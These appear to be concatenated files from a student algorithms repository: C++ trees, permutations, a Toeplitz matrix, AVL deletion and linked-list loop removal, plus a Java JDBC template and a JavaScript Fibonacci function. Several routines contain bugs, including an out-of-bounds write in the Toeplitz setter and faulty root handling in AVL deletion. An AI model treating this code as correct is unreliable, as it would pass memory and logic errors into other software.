        int noOfChildren;
        cout << "Enter the no of children of "<< front -> data << " : ";
        cin >> noOfChildren;
        for (int i =0;i<noOfChildren;i++){
            int nodeData;
            cout << "Enter the " << i+1 << " children of " << front ->data << " : ";
            cin >> nodeData;
            treenode <int>* newNode = new treenode<int>(nodeData);
            front -> children.push_back(newNode);
            q1.push(newNode);
        }
    }
    return root;
}

void printTree(treenode <int> * root){ 
    if (root == NULL){
        return; 
    }
    cout << root -> data << " : ";
    for (int i =0;i<root -> children.size();i++){
        cout << root -> children[i]->data << " , "; 
    }
    cout << endl;
    for (int i =0;i<root -> children.size() ; i++){
        printTree(root -> children[i]);
    }
}

int noOFNodes(treenode<int> * root){ 
    int sum = 1; // on account of the root node
    for (int i =0;i<root -> children.size();i++){
       sum += noOFNodes(root -> children[i]);
    }
    return sum;
}

int main(){
    treenode <int> * root = takeInput();
    printTree(root);
    cout << "The no of nodes are : " << noOFNodes(root);
    return 0;
}

<|start_filename|>CPP/Print_permutations.cpp<|end_filename|>
#include <iostream>
#include <string>
using namespace std;
void printPermutationsHelper(string input, string output){ 
    if(input.length() == 0){
        cout << output << endl; 
        return;
    }
    for(int i = 0; i< input.length(); i++){
        char ch=input[i];
        string lstr=input.substr(0,i);
        string rstr=input.substr(i+1);
        string str=lstr+rstr;
        printPermutationsHelper(str,output+ch);
    }
}
void printPermutations(string input){ 
    printPermutationsHelper(input, "");
    return;
}

int main() {
    string input;
    cin >> input;
    printPermutations(input);
    return 0;
}

<|start_filename|>DSA/STL/binary_search.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n,key;
    cin>>n;
    int arr[n];
    for(int i=0;i<n;i++)
    cin>>arr[i];
    cin>>key;

    bool present=binary_search(arr,arr+n,key);
    if(present)
    cout<<"present";
    else
    cout<<"absent";
}



<|start_filename|>DSA/Special Matrices/ToeplitzMatrix.cpp<|end_filename|>
//Toeplitz Martrix is a Special Matrix with all elements in each of the diagonals same.
//Thus it follows the rule: M[i, j] = M[i-1, j-1]
//The ToePlitz Matrix can be compressed down to a very small size for a given Matrix thus reducing a lot of space
//Let's Code Toeplitz Matrix:

#include <iostream>

using namespace std;

class Toeplitz{
    private:
    int size;
    int *ele;

    public:
    Toeplitz(int n){
        this ->size = n;
        ele = new int[n + n - 1];
    }
    ~Toeplitz(){delete [] ele;}
    void set(int i, int j, int x);
    int get(int i, int j);
    void Display();
};

void Toeplitz :: set(int i, int j, int x){
    if(i == 1) ele[j-1] = x;
    else if(j == 1) ele[size + i - 1] = x;
}

int Toeplitz :: get(int i, int j){
    if(j >= i) return ele[j-i];
    else return ele[size + i - j];
}

void Toeplitz :: Display(){
    for(int i=1; i <= size; i++){
        for(int j=1; j <=size; j++){
            if(j >= i) printf("%-3d", ele[j-i]);
            else printf("%-3d", ele[size + i-j]);
        }
        cout << endl;
    }
}

int main(int argc, char const *argv[])
{
    //Craton of Matrix
    int n;
    cout << "Enter the size of Toeplitz Matrix : ";
    cin >> n;
    Toeplitz toe(n);
    cout << "Enter the elements along with indices of Toeplitz Matrix : \n";
    int i, j, x;
    for(int k=0; k<n + n-1; k++){
        cin >> i >> j >> x;
        toe.set(i, j, x);
    }
    cout << endl << endl;
    
    //Displaying the Matrix:
    toe.Display();
    cout << endl;

    //Searching a particulat Element:
    int choice = 1;
    while(choice){
        cout << "Enter the indices of Elements to search for : ";
        cin >> i >> j;
        printf("The Elements at indices %d,%d = %d\n\n", i, j, toe.get(i, j));

        cout << "Do you want to continue the search?? Press 1 for Y, 0 for N : ";
        cin >> choice;
    }
    return 0;
}

 

<|start_filename|>Java_Backend/DBConnection.java<|end_filename|>
//Replace <!--This--> with you own data.

package com.<!--Your_package_name-->;

import java.sql.*;
import java.sql.SQLException;


/*Create object of this class in all other servers and use 
  createConnection() method to establish connection with database*/

public class DBConnection {
	public static Connection createConnect() {
		Connection con = null;
		String url = "jdbc:mysql://localhost:<!--port_number_of_your_MySQL_Server-->/<!--name_of_your_database-->";
		String uname = "<!--username_of_your_MySQL-->";
		String pass = "<!--Password_of_your_MySQL-->";
		
		try {
			try {
				Class.forName("com.mysql.cj.jdbc.Driver");
			}
			catch (ClassNotFoundException e)
			{
				e.printStackTrace();
			}
			con = DriverManager.getConnection(url, uname, pass);
			System.out.println("Post establishing a DB connection - " +con);
			
		}
		catch(SQLException e)
		{
			System.out.println("Error Occurred");
			e.printStackTrace();
		}
		return con;
		
	}

}

<|start_filename|>JS/Fibonacci.js<|end_filename|>
//Code for Fibonacci series in JavaScript
const nthFibonacci = (n) => {
  // set the base case(fib[0] = 0, fib[1] = 1)
  let fib = [0, 1]
  for (let i = 2; i <= n; i++) {
      fib.push(fib[i - 1] + fib[i - 2]);
  }

  return fib[n];
}


<|start_filename|>DSA/STL/longest_band.cpp<|end_filename|>
// T(n)=O(nlogn)

// #include <bits/stdc++.h>
// using namespace std;
// int main() {
//     int n;
//     cin>>n;
//     int a[n];

//     for(int i=0;i<n;i++)
//     cin>>a[i];

//     int largest=0;
//     sort(a,a+n);
//     for(int i=1;i<n-1;i++)
//     {
//         if((a[i]-a[i-1])==1)
//         largest++;
//         else
//         break;
//     }
//     cout<<largest+1;

// }


// better approach by using unordered set i.e. T(n)=O(n)

<|start_filename|>DSA/AVL Trees/Deletion.cpp<|end_filename|>
//Deletion in AVL Trees is same as that of Binary Trees, with the expansion that after
//The element is deleted, then we have to balance the trees as the LL, RR, LR, or RL-rotation
//whichever is apllicable.
//Though we can futher distinguish it into types based on the central node balance factor and whether element
//deleted is from the left or right... These disinctions include
//1. L1 rotation - deletion from right, central node with balance factor 1
//2. L-1 rotation - deletion from right, central node with balance factor -1
//3. L0 rotation - deletion from right, central node with balance factor 0 (Any of L1 or L-1 is applicable)
//4. R1 rotation - deletion from left, central node with balance factor 1
//5. R-1 rotation - deletion from left, central node with balance factor -1
//6. R0 rotation - deletion from left, central node with balance factor 0 (Any of R1 or R-1 is applicable)

#include <iostream>
#define endl "\n"
using namespace std;

struct Node{
    Node *lchild;
    int data;
    Node *rchild;
    int height;
}*root = NULL;

int NodeHeight(Node *p);
int BalanceFactor(Node *p);
Node* LLRotation(Node *p);
Node* LRRotation(Node *p);
Node* RRRotation(Node *p);
Node* RLRotation(Node *p);
int Height(Node *p);

//Main program for Deletion
Node* InPre(Node *p){
    while(p && p->rchild)
        p = p->rchild;
    return p;
}

Node* InSucc(Node *p){
    while(p && p->lchild)
        p = p->lchild;
    return p;
}

Node* Delete(Node *p, int key){
    Node *t;
    if(p == NULL) return NULL;
    if(p->lchild == NULL && p->rchild == NULL){
        if(p == root)
            p = NULL;
        delete p;
        return NULL;
    }

    if(key < p->data)
        p->lchild = Delete(p->lchild, key);
    else if(key > p->data)
        p->rchild = Delete(p->rchild, key);
    else{
        if(Height(p->lchild) > Height(p->rchild)){
            t = InPre(p->lchild);
            p->data = t->data;
            p->lchild = Delete(p->lchild, t->data);
        }
        else{
            t = InSucc(p->rchild);
            p->data = t->data;
            p->rchild = Delete(p->rchild, t->data);
        }
    }
    p->height = NodeHeight(p);

    //Modification
    if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) //Type L1
        return LLRotation(p);
    else if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1) //Type L-1
        return LRRotation(p);
    else if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 0) //Type L0
        return LLRotation(p); //Alternatively, can also use LRRotation
    else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1) //Type R1
        return RRRotation(p);
    else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1) //Type R-1
        return RLRotation(p);
    else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 0) //Type R0
        return RRRotation(p);
    return p;
}

//Insert Start
int NodeHeight(Node *p)
{
    int h1, h2;
    h1 = p&&p->lchild?p->lchild->height:0;
    h2 = p&&p->rchild?p->rchild->height:0;
    return h1>h2?h1+1:h2+1;
}

int BalanceFactor(Node *p){
    int hl, hr;
    hl = p&&p->lchild?p->lchild->height:0;
    hr = p&&p->rchild?p->rchild->height:0;
    return hl-hr;
}

//Rotations
Node* LLRotation(Node *p){
    Node* pl = p->lchild;
    Node* plr = pl->rchild;
    p->lchild = plr;
    pl->rchild = p;

    pl->height = NodeHeight(pl);
    p->height = NodeHeight(p);
    if(root == p)
        root = pl;
    return pl;
}

Node* LRRotation(Node *p){//Insertion
    Node* pl = p->lchild;
    Node* plr = pl->rchild;
    pl->rchild = plr->lchild;
    p->lchild = plr->rchild;
    plr->lchild = pl;
    plr->rchild = p;

    pl->height = NodeHeight(pl);
    p->height = NodeHeight(p);
    plr->height =  NodeHeight(plr);
    if(root == p)
        root = plr;
    return plr;
}

Node* RRRotation(Node *p)
{
    Node* pr = p->rchild;
    Node* prl = pr->lchild;
    p->rchild = prl;
    pr->lchild = p;

    pr->height = NodeHeight(pr);
    p->height = NodeHeight(p);
    if(root == p)
        root = pr;
    return pr;
}

Node* RLRotation(Node *p){
    Node* pr = p->rchild;
    Node* prl = pr->lchild;

    p->rchild = prl->lchild;
    pr->lchild = prl->rchild;
    prl->lchild = p;
    prl->rchild = pr;

    p->height = NodeHeight(p);
    pr->height = NodeHeight(pr);
    prl->height = NodeHeight(prl);

    if(root == p) root = prl;
    return prl;
}

Node* RInsert(Node *p, int key){
    if(p == NULL){
        p= new Node;
        p->data = key;
        p->height = 1;
        p->lchild = p->rchild = NULL;
    }
    if(key < p->data)
        p->lchild = RInsert(p->lchild, key);
    else if(key > p->data)
        p->rchild = RInsert(p->rchild, key);
    
    p->height = NodeHeight(p);
    if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1)
        return LLRotation(p);
    else if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1)
        return LRRotation (p);
    else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1)
        return RRRotation(p);
    else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1)
        return RLRotation(p);
    return p;
}
//Insert Complete

int Height(Node *p){
    if(p)
    {
        int x, y;
        x = Height(p->lchild);
        y = Height(p->rchild);
        return x>y?x+1:y+1;
    }
    return 0;
}

int main()
{
    int a[] = {20, 10, 30, 40};
    int n = sizeof(a)/sizeof(a[0]);
    root = RInsert(root, a[0]);
    for(int i=1; i < n; i++)
        RInsert(root, a[i]);
    
    int key;
    cout << "Enter Value to Delete : ";
    cin >> key;
    root = Delete(root, key);

    return 0;
}

<|start_filename|>CPP/DeleteLoopLinkedList.cpp<|end_filename|>
#include<iostream>
using namespace std;
 
class Node {
public:
    int data;
    Node* next;
};
 
void push(Node** head_ref, int new_data)
{
    Node* new_node = new Node();
    new_node->data = new_data;
    new_node->next = (*head_ref);
    (*head_ref) = new_node;
}
 
void detectLoop(Node* head)
{
    Node *slow = head, *fast = head;
 
    while (slow && fast && fast->next) {
        slow = slow->next;
        fast = fast->next->next;
        if (slow == fast)
            break;
    }
    if(slow==head){
        while(fast->next!=slow){
            fast=fast->next;
        }
        fast->next=NULL;

    }
    else if(slow == fast){
        slow=head;
        while(fast->next!=slow){
            fast=fast->next;
            slow=slow->next;
        }
        fast->next=NULL;
    }
    
}
void printList(struct Node* node)
{
    // Print the list after loop removal
    while (node != NULL) {
        cout << node->data << " ";
        node = node->next;
    }
}
 
int main()
{
    Node* head = NULL;
 
    push(&head, 20);
    push(&head, 4);
    push(&head, 15);
    push(&head, 10);
    head->next->next->next->next = head;
    detectLoop(head);
    cout << "Linked List after removing loop \n";
    printList(head);
}